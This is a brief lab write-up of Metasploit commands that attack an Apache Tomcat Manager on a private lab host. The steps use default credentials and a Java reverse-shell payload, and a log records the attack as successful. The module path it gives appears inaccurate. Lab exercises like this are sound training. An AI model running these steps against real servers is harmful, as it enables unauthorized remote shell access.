Title: Exploitation Lab

Commands executed:

1. Run Metasploit – msfconsole
2. Search & Use Exploit - search tomcat_mgr_login
   use exploit/multi/http/tomcat_mgr_login
3. Set Options - set RHOSTS 192.168.1.100 # target IP
   set RPORT 8080 # Tomcat manager default port
   set HttpUsername tomcat
   set HttpPassword tomcat
   set payload java/shell_reverse_tcp
   set LHOST <your Kali IP>
   exploit

Lab log

Exploit ID	Description	Target IP	Status	Payload
003	Tomcat RCE	192.168.1.100	Success	Java Shell (reverse)

Validation with Exploit-DB (PoC Check)

There is a known exploit in Exploit-DB for **Apache Tomcat Manager Remote Code Execution** vulnerabilities (example: Exploit-DB ID 19212) that describes authentication bypass + WAR upload for code execution.

50-Word Summary

The Tomcat Manager login exploit targets default or weak credentials in Apache Tomcat. Attackers gain remote code execution by deploying a malicious WAR file. Exploit-DB proof-of-concept confirms this technique, enabling reverse shell access. Validation demonstrates the risk of insecure configurations in web application servers like Metasploitable2.